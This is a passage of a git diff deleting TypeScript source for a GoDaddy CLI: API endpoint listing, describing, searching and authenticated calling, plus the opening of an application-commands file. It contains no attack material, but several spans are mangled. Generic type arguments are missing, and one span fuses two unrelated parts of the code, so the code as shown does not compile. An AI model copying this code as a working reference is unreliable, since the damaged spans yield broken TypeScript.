parsed = new URL(value.trim()); - if (parsed.protocol !== "http:" && parsed.protocol !== "https:") { - return null; - } - return parsed; - } catch { - return null; - } -} - -function normalizeCatalogPath(pathValue: string): string { - const pathOnly = pathValue.split(/[?#]/, 1)[0] || "/"; - const withLeadingSlash = pathOnly.startsWith("/") ? pathOnly : `/${pathOnly}`; - - if (withLeadingSlash.length > 1 && withLeadingSlash.endsWith("/")) { - return withLeadingSlash.slice(0, -1); - } - - return withLeadingSlash; -} - -function buildCatalogPathCandidates(pathValue: string): string[] { - const normalizedPath = normalizeCatalogPath(pathValue); - const candidates = [normalizedPath]; - - const commercePrefixMatch = normalizedPath.match(/^\/v\d+\/commerce(\/.*)$/i); - if (commercePrefixMatch?.[1]) { - candidates.push(commercePrefixMatch[1]); - } - - return [...new Set(candidates)]; -} - -function parseEndpointInput(endpoint: string): ParsedEndpointInput { - const trimmed = endpoint.trim(); - - if (trimmed.length === 0) { - return { - callEndpoint: "/", - catalogPathCandidates: ["/"], - absoluteUrl: null, - isTrustedAbsolute: false, - invalidAbsoluteUrl: false, - }; - } - - if (ABSOLUTE_HTTP_URL_PATTERN.test(trimmed)) { - const absoluteUrl = parseAbsoluteHttpUrl(trimmed); - if (!absoluteUrl) { - return { - callEndpoint: trimmed, - catalogPathCandidates: buildCatalogPathCandidates(trimmed), - absoluteUrl: null, - isTrustedAbsolute: false, - invalidAbsoluteUrl: true, - }; - } - - const isTrustedAbsolute = - absoluteUrl.protocol === "https:" && - TRUSTED_API_HOSTS.has(absoluteUrl.hostname.toLowerCase()); - - const relativePath = `${absoluteUrl.pathname || "/"}${absoluteUrl.search}${absoluteUrl.hash}`; - - return { - callEndpoint: isTrustedAbsolute ? relativePath : trimmed, - catalogPathCandidates: buildCatalogPathCandidates( - absoluteUrl.pathname || "/", - ), - absoluteUrl, - isTrustedAbsolute, - invalidAbsoluteUrl: false, - }; - } - - const callEndpoint = trimmed.startsWith("/") ? trimmed : `/${trimmed}`; - return { - callEndpoint, - catalogPathCandidates: buildCatalogPathCandidates(callEndpoint), - absoluteUrl: null, - isTrustedAbsolute: false, - invalidAbsoluteUrl: false, - }; -} - -function resolveCatalogEndpointEffect( - method: HttpMethod, - methodProvided: boolean, - pathCandidates: string[], - fallbackEndpoint: string, -): Effect.Effect<{ - method: HttpMethod; - endpoint: string; - catalogMatch?: { domain: CatalogDomain; endpoint: CatalogEndpoint }; -}> { - return Effect.gen(function* () { - let catalogMatch: - | { domain: CatalogDomain; endpoint: CatalogEndpoint } - | undefined; - let matchedPath: string | undefined; - - if (methodProvided) { - for (const candidatePath of pathCandidates) { - const byPath = yield* findEndpointByPathEffect(method, candidatePath); - if (Option.isSome(byPath)) { - catalogMatch = byPath.value; - matchedPath = candidatePath; - break; - } - } - } else { - for (const candidatePath of pathCandidates) { - const byAnyMethod = yield* findEndpointByAnyMethodEffect(candidatePath); - if (Option.isSome(byAnyMethod)) { - catalogMatch = byAnyMethod.value; - matchedPath = candidatePath; - break; - } - } - } - - let resolvedMethod = method; - let resolvedEndpoint = fallbackEndpoint; - - if (catalogMatch) { - if (matchedPath === catalogMatch.endpoint.path) { - resolvedEndpoint = buildCallEndpoint( - catalogMatch.domain, - catalogMatch.endpoint, - ); - } - - if (!methodProvided && isHttpMethod(catalogMatch.endpoint.method)) { - resolvedMethod = catalogMatch.endpoint.method; - } - } - - return { - method: resolvedMethod, - endpoint: resolvedEndpoint, - catalogMatch, - }; - }); -} - -function buildCallEndpoint( - domain: CatalogDomain, - endpoint: CatalogEndpoint, -): string { - return `${domain.baseUrl}${endpoint.path}`.replace( - /^https:\/\/api\.godaddy\.com/i, - "", - ); -} - -function summarizeGraphqlSchema(graphql: CatalogEndpoint["graphql"]) { - if (!graphql) return undefined; - - const queryCount = graphql.operations.filter( - (operation) => operation.kind === "query", - ).length; - const mutationCount = graphql.operations.length - queryCount; - - const operationSummaries = graphql.operations.map((operation) => ({ - name: operation.name, - kind: operation.kind, - returnType: operation.returnType, - deprecated: operation.deprecated, - deprecationReason: operation.deprecationReason, - args: operation.args.map((arg) => ({ - name: arg.name, - type: arg.type, - required: arg.required, - defaultValue: arg.defaultValue, - })), - })); - - const shownOperations = operationSummaries.slice( - 0, - MAX_GRAPHQL_OPERATION_PREVIEW, - ); - - return { - schemaRef: graphql.schemaRef, - operationCount: graphql.operationCount, - queryCount, - mutationCount, - operations: shownOperations, - operationsShown: shownOperations.length, - operationsTruncated: operationSummaries.length > shownOperations.length, - }; -} - -// --------------------------------------------------------------------------- -// Schema summarization for agent-friendly output -// --------------------------------------------------------------------------- - -interface SchemaSummaryProperty { - name: string; - type: string; - required: boolean; - description?: string; - format?: string; - enum?: unknown[]; - items?: string; -} - -/** - * Summarize a JSON Schema into a compact representation suitable for LLM - * context windows. Shows top-level properties with types, required markers, - * and up to one level of nested object properties. - */ -function summarizeSchema( - schema: Record | undefined, -): SchemaSummaryProperty[] | undefined { - if (!schema) return undefined; - - const properties = schema.properties as - | Record> - | undefined; - if (!properties) { - if (schema.type || schema.enum) { - return [ - { - name: "(value)", - type: schemaTypeLabel(schema), - required: true, - }, - ]; - } - return undefined; - } - - const required = new Set( - Array.isArray(schema.required) ? (schema.required as string[]) : [], - ); - - return Object.entries(properties).map(([name, prop]) => { - const entry: SchemaSummaryProperty = { - name, - type: schemaTypeLabel(prop), - required: required.has(name), - }; - - if (typeof prop.description === "string" && prop.description.length > 0) { - entry.description = prop.description.slice(0, 120); - } - if (typeof prop.format === "string") { - entry.format = prop.format; - } - if (Array.isArray(prop.enum) && prop.enum.length <= 10) { - entry.enum = prop.enum; - } - if ( - prop.type === "array" && - typeof prop.items === "object" && - prop.items !== null - ) { - const items = prop.items as Record; - entry.items = schemaTypeLabel(items); - } - - return entry; - }); -} - -function schemaTypeLabel(schema: Record): string { - if (!schema) return "unknown"; - if (typeof schema.type === "string") { - if (schema.type === "array" && schema.items) { - const items = schema.items as Record; - return `array<${schemaTypeLabel(items)}>`; - } - if (schema.type === "object" && schema.properties) { - const props = Object.keys( - schema.properties as Record, - ).slice(0, 5); - const more = Object.keys(schema.properties as object).length; - const suffix = props.length < more ? ", ..." : ""; - return `object{${props.join(", ")}${suffix}}`; - } - return schema.format - ? `${schema.type}(${schema.format})` - : (schema.type as string); - } - if (Array.isArray(schema.enum)) { - const vals = (schema.enum as unknown[]).slice(0, 8); - const suffix = (schema.enum as unknown[]).length > 8 ? ", ..." : ""; - return `enum(${vals.join("|")}${suffix})`; - } - if (Array.isArray(schema.oneOf)) return "oneOf"; - if (Array.isArray(schema.anyOf)) return "anyOf"; - if (Array.isArray(schema.allOf)) return "allOf"; - if (schema.$ref) return `ref(${schema.$ref as string})`; - return "object"; -} - -function summarizeResponses( - responses: CatalogEndpoint["responses"] | undefined, -): - | Record - | undefined { - if (!responses) return undefined; - const result: Record< - string, - { description: string; schema?: SchemaSummaryProperty[] } - > = {}; - for (const [status, resp] of Object.entries(responses)) { - result[status] = { - description: resp.description || "", - schema: summarizeSchema( - resp.schema as Record | undefined, - ), - }; - } - return result; -} - -function summarizeRequestBody( - requestBody: CatalogEndpoint["requestBody"] | undefined, -): - | { - required: boolean; - contentType?: string; - description?: string; - schema?: SchemaSummaryProperty[]; - } - | undefined { - if (!requestBody) return undefined; - return { - required: requestBody.required, - contentType: requestBody.contentType, - description: requestBody.description, - schema: summarizeSchema( - requestBody.schema as Record | undefined, - ), - }; -} - -/** - * Returns true if the summarized schemas contain nested object/array types - * that the inline summary cannot fully represent. - */ -function hasComplexNestedTypes( - requestSchema: SchemaSummaryProperty[] | undefined, - responses: - | Record - | undefined, -): boolean { - const check = (props: SchemaSummaryProperty[] | undefined) => - props?.some( - (p) => p.type.startsWith("object{") || p.type.startsWith("array - Effect.gen(function* () { - const writer = yield* EnvelopeWriter; - const domainFilter = Option.getOrUndefined(config.domain); - - if (domainFilter) { - // List endpoints for a specific domain - const maybeDomain = yield* loadDomainEffect(domainFilter); - if (Option.isNone(maybeDomain)) { - return yield* Effect.fail( - new ValidationError({ - message: `API domain '${domainFilter}' not found`, - userMessage: `API domain '${domainFilter}' does not exist. Run: godaddy api list`, - }), - ); - } - const domain = maybeDomain.value; - - const endpointSummaries = domain.endpoints.map((e) => ({ - operationId: e.operationId, - method: e.method, - path: e.path, - summary: e.summary, - scopes: e.scopes, - graphql_operations: e.graphql?.operationCount, - })); - - const truncated = truncateList( - endpointSummaries, - `api-list-${domainFilter}`, - ); - - yield* writer.emitSuccess( - "godaddy api list", - { - domain: domain.name, - title: domain.title, - description: domain.description, - version: domain.version, - baseUrl: domain.baseUrl, - endpoints: truncated.items, - total: truncated.metadata.total, - shown: truncated.metadata.shown, - truncated: truncated.metadata.truncated, - full_output: truncated.metadata.full_output, - }, - endpointSummaries.length > 0 - ? [ - { - command: "godaddy api describe ", - description: `Describe ${endpointSummaries[0].summary}`, - params: { - endpoint: { - description: "API path", - value: endpointSummaries[0].path, - required: true, - }, - }, - }, - { - command: "godaddy api list", - description: "List all API domains", - }, - { - command: "godaddy api search ", - description: "Search for endpoints by keyword", - params: { - query: { description: "Search term", required: true }, - }, - }, - ] - : listNextActions(), - ); - } else { - // List all domains - const domains = yield* listDomainsEffect(); - const truncated = truncateList(domains, "api-list-domains"); - - yield* writer.emitSuccess( - "godaddy api list", - { - domains: truncated.items, - total: truncated.metadata.total, - shown: truncated.metadata.shown, - truncated: truncated.metadata.truncated, - full_output: truncated.metadata.full_output, - }, - listNextActions(domains[0]?.name), - ); - } - }), -).pipe(Command.withDescription("List available API domains and endpoints")); - -// --------------------------------------------------------------------------- -// Subcommand: api describe -// --------------------------------------------------------------------------- - -const apiDescribe = Command.make( - "describe", - { - endpoint: Args.text({ name: "endpoint" }).pipe( - Args.withDescription("API path (e.g. /location/addresses)"), - ), - method: Options.text("method").pipe( - Options.withAlias("m"), - Options.withDescription("HTTP method (GET, POST, PUT, PATCH, DELETE)"), - Options.optional, - ), - }, - ({ endpoint, method }) => - Effect.gen(function* () { - const writer = yield* EnvelopeWriter; - - const { catalogPathCandidates: pathCandidates } = - parseEndpointInput(endpoint); - - const methodFilter = Option.getOrUndefined(method)?.toUpperCase(); - - // Try exact path lookup first - let result: Option.Option<{ - domain: CatalogDomain; - endpoint: CatalogEndpoint; - }> = Option.none(); - - for (const candidatePath of pathCandidates) { - if (methodFilter) { - const exactMatch = yield* findEndpointByPathEffect( - methodFilter, - candidatePath, - ); - if (Option.isSome(exactMatch)) { - result = exactMatch; - break; - } - } else { - const exactMatch = - yield* findEndpointByAnyMethodEffect(candidatePath); - if (Option.isSome(exactMatch)) { - result = exactMatch; - break; - } - } - } - - // Fallback: fuzzy search - if (Option.isNone(result)) { - const searchResults = yield* searchEndpointsEffect(pathCandidates[0]); - - if (searchResults.length === 1) { - result = Option.some(searchResults[0]); - } else if (searchResults.length > 1) { - // Multiple matches — list them for the agent to choose - const matches = searchResults.map((r) => ({ - operationId: r.endpoint.operationId, - method: r.endpoint.method, - path: r.endpoint.path, - summary: r.endpoint.summary, - domain: r.domain.name, - })); - yield* writer.emitSuccess( - "godaddy api describe", - { - message: `Multiple endpoints match '${endpoint}'. Be more specific:`, - matches, - }, - matches.map((m) => ({ - command: "godaddy api describe ", - description: `${m.method} ${m.path} — ${m.summary}`, - params: { - endpoint: { - description: "API path", - value: m.path, - required: true, - }, - }, - })), - ); - return; - } - } - - if (Option.isNone(result)) { - return yield* Effect.fail( - new ValidationError({ - message: `Endpoint '${endpoint}' not found`, - userMessage: `Endpoint '${endpoint}' not found in the API catalog. Run: godaddy api list or godaddy api search `, - }), - ); - } - - const { domain, endpoint: ep } = result.value; - - const summarizedRequest = summarizeRequestBody(ep.requestBody); - const summarizedResponses = summarizeResponses(ep.responses); - - // Only write the full schema file + hint when there are nested - // objects that the summary can't fully represent. - const hasNestedObjects = hasComplexNestedTypes( - summarizedRequest?.schema, - summarizedResponses, - ); - - let schemaDetail: { note: string; file: string } | undefined; - if (hasNestedObjects) { - const fullSchemaPath = writeFullOutput( - `api-describe-${ep.operationId}`, - { - domain: domain.name, - baseUrl: domain.baseUrl, - operationId: ep.operationId, - method: ep.method, - path: ep.path, - parameters: ep.parameters, - requestBody: ep.requestBody, - responses: ep.responses, - scopes: ep.scopes, - }, - ); - schemaDetail = { - note: "Inline schemas show top-level property names and types. Read the file below for full nested object definitions.", - file: fullSchemaPath, - }; - } - - yield* writer.emitSuccess( - "godaddy api describe", - { - domain: domain.name, - baseUrl: domain.baseUrl, - operationId: ep.operationId, - method: ep.method, - path: ep.path, - fullPath: `${domain.baseUrl}${ep.path}`.replace( - /^https:\/\/api\.godaddy\.com/, - "", - ), - summary: ep.summary, - description: ep.description, - parameters: ep.parameters, - requestBody: summarizedRequest, - responses: summarizedResponses, - scopes: ep.scopes, - graphql: summarizeGraphqlSchema(ep.graphql), - schema_detail: schemaDetail, - }, - describeNextActions(domain, ep), - ); - }), -).pipe( - Command.withDescription( - "Show detailed schema information for an API endpoint", - ), -); - -// --------------------------------------------------------------------------- -// Subcommand: api search -// --------------------------------------------------------------------------- - -const apiSearch = Command.make( - "search", - { - query: Args.text({ name: "query" }).pipe( - Args.withDescription( - "Search term (matches path, summary, and description)", - ), - ), - }, - ({ query }) => - Effect.gen(function* () { - const writer = yield* EnvelopeWriter; - const results = yield* searchEndpointsEffect(query); - - const items = results.map((r) => ({ - operationId: r.endpoint.operationId, - method: r.endpoint.method, - path: r.endpoint.path, - summary: r.endpoint.summary, - domain: r.domain.name, - scopes: r.endpoint.scopes, - graphql_operations: r.endpoint.graphql?.operationCount, - })); - - const truncated = truncateList(items, `api-search-${query}`); - - yield* writer.emitSuccess( - "godaddy api search", - { - query, - results: truncated.items, - total: truncated.metadata.total, - shown: truncated.metadata.shown, - truncated: truncated.metadata.truncated, - full_output: truncated.metadata.full_output, - }, - searchNextActions(items[0]?.path), - ); - }), -).pipe(Command.withDescription("Search for API endpoints by keyword")); - -// --------------------------------------------------------------------------- -// Subcommand: api call (the original raw request behavior) -// --------------------------------------------------------------------------- - -const apiCall = Command.make( - "call", - { - endpoint: Args.text({ name: "endpoint" }).pipe( - Args.withDescription( - "API endpoint path (for example: /v1/commerce/location/addresses)", - ), - ), - method: Options.text("method").pipe( - Options.withAlias("X"), - Options.withDescription("HTTP method (GET, POST, PUT, PATCH, DELETE)"), - Options.optional, - ), - field: Options.text("field").pipe( - Options.withAlias("f"), - Options.withDescription("Add request body field (can be repeated)"), - Options.repeated, - ), - file: Options.text("file").pipe( - Options.withAlias("F"), - Options.withDescription("Read request body from JSON file"), - Options.optional, - ), - header: Options.text("header").pipe( - Options.withAlias("H"), - Options.withDescription("Add custom header (can be repeated)"), - Options.repeated, - ), - query: Options.text("query").pipe( - Options.withAlias("q"), - Options.withDescription( - "Extract a value from response JSON (for example: .data[0].id)", - ), - Options.optional, - ), - include: Options.boolean("include").pipe( - Options.withAlias("i"), - Options.withDescription("Include response headers in result"), - ), - scope: Options.text("scope").pipe( - Options.withAlias("s"), - Options.withDescription( - "Required OAuth scope. On 403, triggers auth and retries (can be repeated)", - ), - Options.repeated, - ), - }, - (config) => - Effect.gen(function* () { - const writer = yield* EnvelopeWriter; - const cliConfig = yield* CliConfig; - - const methodInput = Option.getOrElse( - config.method, - () => "GET", - ).toUpperCase(); - if (!isHttpMethod(methodInput)) { - return yield* Effect.fail( - new ValidationError({ - message: `Invalid HTTP method: ${methodInput}`, - userMessage: `Method must be one of: ${VALID_METHODS.join(", ")}`, - }), - ); - } - - const methodProvided = Option.isSome(config.method); - const parsedEndpoint = parseEndpointInput(config.endpoint); - - if (parsedEndpoint.invalidAbsoluteUrl) { - return yield* Effect.fail( - new ValidationError({ - message: `Invalid endpoint URL: ${config.endpoint}`, - userMessage: - "Endpoint must be a valid URL or a relative path (for example: /v1/domains).", - }), - ); - } - - if (parsedEndpoint.absoluteUrl && !parsedEndpoint.isTrustedAbsolute) { - return yield* Effect.fail( - new ValidationError({ - message: `Untrusted endpoint host: ${parsedEndpoint.absoluteUrl.hostname}`, - userMessage: - "Use a relative endpoint path, or a trusted GoDaddy API URL on api.godaddy.com or api.ote-godaddy.com.", - }), - ); - } - - const resolved = yield* resolveCatalogEndpointEffect( - methodInput, - methodProvided, - parsedEndpoint.catalogPathCandidates, - parsedEndpoint.callEndpoint, - ); - - const method = resolved.method; - const resolvedEndpoint = resolved.endpoint; - const catalogMatch = resolved.catalogMatch; - - if (catalogMatch && cliConfig.verbosity >= 1) { - process.stderr.write( - `Resolved endpoint to ${catalogMatch.endpoint.method} ${resolvedEndpoint}\n`, - ); - } - - const fields = yield* parseFieldsEffect( - normalizeStringArray(config.field), - ); - const headers = yield* parseHeadersEffect( - normalizeStringArray(config.header), - ); - - let body: string | undefined; - const filePath = Option.getOrUndefined(config.file); - if (typeof filePath === "string" && filePath.length > 0) { - body = yield* readBodyFromFileEffect(filePath); - } - - const requiredScopesSet = new Set( - config.scope.flatMap((scopeToken) => - scopeToken - .split(/[\s,]+/) - .map((token) => token.trim()) - .filter((token) => token.length > 0), - ), - ); - - if (catalogMatch) { - for (const scope of catalogMatch.endpoint.scopes) { - requiredScopesSet.add(scope); - } - } - - const requiredScopes = [...requiredScopesSet]; - - const graphqlRequest = - catalogMatch?.endpoint.graphql !== undefined || - /\/graphql(?:$|[/?#])/i.test(resolvedEndpoint); - - const requestOpts = { - endpoint: resolvedEndpoint, - method, - fields: Object.keys(fields).length > 0 ? fields : undefined, - body, - headers: Object.keys(headers).length > 0 ? headers : undefined, - debug: cliConfig.verbosity >= 2, - graphql: graphqlRequest, - }; - - // First attempt - const response = yield* apiRequestEffect(requestOpts).pipe( - Effect.catchAll((error) => { - // On 403 with --scope: check if the token is missing the scope, - // trigger auth, and retry — once. - if ( - error._tag === "AuthenticationError" && - error.message.includes("403") && - requiredScopes.length > 0 - ) { - return Effect.gen(function* () { - // Get current token to inspect scopes - const tokenInfo = yield* getTokenInfoEffect().pipe( - Effect.catchAll(() => Effect.succeed(null)), - ); - - if ( - tokenInfo && - tokenHasScopes(tokenInfo.accessToken, requiredScopes) - ) { - // Token already has the scopes — the 403 is not a scope issue - return yield* Effect.fail(error); - } - - // Token is missing required scopes — re-auth and retry - if (cliConfig.verbosity >= 1) { - process.stderr.write( - `Token missing scope(s): ${requiredScopes.join(", ")}. Triggering auth flow...\n`, - ); - } - - const loginResult = yield* authLoginEffect({ - additionalScopes: requiredScopes, - }).pipe( - Effect.catchAll(() => - Effect.fail( - new AuthenticationError({ - message: "Re-authentication failed", - userMessage: - "Automatic re-authentication failed. Run 'godaddy auth login' manually.", - }), - ), - ), - ); - - if (!loginResult.success) { - return yield* Effect.fail( - new AuthenticationError({ - message: "Re-authentication did not succeed", - userMessage: - "Authentication did not complete. Run 'godaddy auth login' manually.", - }), - ); - } - - // Retry the request with the new token - return yield* apiRequestEffect(requestOpts); - }); - } - return Effect.fail(error); - }), - ); - - let output = response.data; - const queryPath = Option.getOrUndefined(config.query); - if (typeof queryPath === "string" && output !== undefined) { - try { - output = extractPath(output, queryPath); - } catch (error) { - const message = - error instanceof Error ? error.message : String(error); - return yield* Effect.fail( - new ValidationError({ - message: `Invalid query path: ${queryPath}`, - userMessage: `Query error: ${message}`, - }), - ); - } - } - - yield* writer.emitSuccess( - "godaddy api call", - { - endpoint: resolvedEndpoint, - method, - status: response.status, - status_text: response.statusText, - resolved: - catalogMatch === undefined - ? undefined - : { - domain: catalogMatch.domain.name, - path: catalogMatch.endpoint.path, - method: catalogMatch.endpoint.method, - scopes: catalogMatch.endpoint.scopes, - graphql_operations: - catalogMatch.endpoint.graphql?.operationCount, - }, - scopes_requested: - requiredScopes.length > 0 ? requiredScopes : undefined, - headers: config.include - ? sanitizeResponseHeaders(response.headers) - : undefined, - data: output ?? null, - }, - callNextActions(), - ); - }), -).pipe( - Command.withDescription("Make authenticated requests to the GoDaddy API"), -); - -// --------------------------------------------------------------------------- -// Parent command: godaddy api -// --------------------------------------------------------------------------- - -const apiParent = Command.make("api", {}, () => - Effect.gen(function* () { - const writer = yield* EnvelopeWriter; - - const domains = yield* listDomainsEffect(); - - yield* writer.emitSuccess( - "godaddy api", - { - command: "godaddy api", - description: - "Explore and call GoDaddy API endpoints. Use subcommands to discover endpoints before making requests.", - commands: [ - { - command: "godaddy api list", - description: "List all API domains and their endpoints", - usage: "godaddy api list [--domain ]", - }, - { - command: "godaddy api describe ", - description: - "Show detailed schema information for an API endpoint (by path)", - usage: "godaddy api describe ", - }, - { - command: "godaddy api search ", - description: "Search for API endpoints by keyword", - usage: "godaddy api search ", - }, - { - command: "godaddy api call ", - description: "Make an authenticated API request (endpoint path)", - usage: - "godaddy api call [-X method] [-f field=value] [-F file] [-H header] [-q path] [-i] [-s scope]", - }, - ], - domains: domains.map((d) => ({ - name: d.name, - title: d.title, - endpoints: d.endpointCount, - })), - }, - apiGroupActions, - ); - }), -).pipe( - Command.withDescription("Explore and call GoDaddy API endpoints"), - Command.withSubcommands([apiList, apiDescribe, apiSearch, apiCall]), -); - -export { apiParent as apiCommand }; diff --git a/src/cli/commands/application.ts b/src/cli/commands/application.ts deleted file mode 100644 index bb0ab2c..0000000 --- a/src/cli/commands/application.ts +++ /dev/null @@ -1,1305 +0,0 @@ -import { join, resolve } from "node:path"; -import * as Args from "@effect/cli/Args"; -import * as Command from "@effect/cli/Command"; -import * as Options from "@effect/cli/Options"; -import type { ArkErrors } from "arktype"; -import * as Effect from "effect/Effect"; -import * as Option from "effect/Option"; -import type { - CreateApplicationInput, - DeployProgressEvent, - DeployResult, -} from "../../core/applications"; -import { - applicationArchiveEffect, - applicationDeployEffect, - applicationDisableEffect, - applicationEnableEffect, - applicationInfoEffect, - applicationInitEffect, - applicationListEffect, - applicationReleaseEffect, - applicationUpdateEffect, - applicationValidateEffect, -} from "../../core/applications"; -import { type Environment, envGetEffect } from "../../core/environment"; -import { ValidationError } from "../../effect/errors"; -import { - type ActionConfig, - type BlocksExtensionConfig, - type CheckoutExtensionConfig, - type Config, - type EmbedExtensionConfig, - type SubscriptionConfig, - addActionToConfigEffect, - addExtensionToConfigEffect, - addSubscriptionToConfigEffect, - getConfigFile, - getConfigFilePath, -} from "../../services/config"; -import { protectPayload, truncateList } from "../agent/truncation"; -import type { NextAction } from "../agent/types"; -import { EnvelopeWriter } from "../services/envelope-writer"; - -// --------------------------------------------------------------------------- -// Helpers (pure, no global state) -// --------------------------------------------------------------------------- - -type ConfigReadResult = ReturnType; - -function resolveEnvironmentEffect(environment?: string) { - return envGetEffect(environment); -} - -function resolveConfigPath( - configPath: string | undefined, - env: Environment, -): string { - if (configPath) return resolve(process.cwd(), configPath); - return getConfigFilePath(env); -} - -function parseSpaceSeparated(value: string): string[] { - return value - .split(" ") - .map((s) => s.trim()) - .filter((s) => s.length > 0); -} - -function parseCommaSeparated(value: string): string[] { - return value - .split(",") - .map((s) => s.trim()) - .filter((s) => s.length > 0); -} - -function isConfigValidationErrorResult( - value: ConfigReadResult, -): value is ArkErrors { - return typeof value === "object" && value !== null && "summary" in value; -} - -function buildDeployPayload( - name: string, - deployResult: DeployResult, -): Record { - const summarized = protectPayload( - { - total_extensions: deployResult.totalExtensions, - blocked_extensions: deployResult.blockedExtensions, - security_reports: deployResult.securityReports.map((r) => ({ - extension_name: r.extensionName, - extension_dir: r.extensionDir, - blocked: r.blocked, - total_findings: r.totalFindings, - blocked_findings: r.blockedFindings, - warnings: r.warnings, - pre_bundle: { - blocked: r.preBundleReport.blocked, - scanned_files: r.preBundleReport.scannedFiles, - summary: r.preBundleReport.summary, - findings: r.preBundleReport.findings, - }, - post_bundle: r.postBundleReport - ? { - blocked: r.postBundleReport.blocked, - scanned_files: r.postBundleReport.scannedFiles, - summary: r.postBundleReport.summary, - findings: r.postBundleReport.findings, - } - : undefined, - })), - bundle_reports: deployResult.bundleReports.map((r) => ({ - extension_name: r.extensionName, - artifact_name: r.artifactName, - size_bytes: r.size, - sha256: r.sha256, - targets: r.targets, - upload_ids: r.uploadIds, - uploaded: r.uploaded, - })), - }, - `application-deploy-${name}`, - ); - return { - ...summarized.value, - truncated: summarized.metadata?.truncated ?? false, - total: summarized.metadata?.total, - shown: summarized.metadata?.shown, - full_output: summarized.metadata?.full_output, - }; -} - -// --------------------------------------------------------------------------- -// Colocated next_actions -// --------------------------------------------------------------------------- - -const appGroupActions: NextAction[] = [ - { command: "godaddy application list", description: "List all applications" }, - { - command: - "godaddy application init --name --description --url --proxy-url --scopes ", - description: "Initialize a new application", - }, - { - command: "godaddy application add action --name --url ", - description: "Add action configuration", - }, -]; - -function appInfoActions(name: string): NextAction[] { - return [ - { - command: "godaddy application validate ", - description: "Validate application configuration", - params: { name: { value: name, required: true } }, - }, - { - command: - "godaddy application update [--label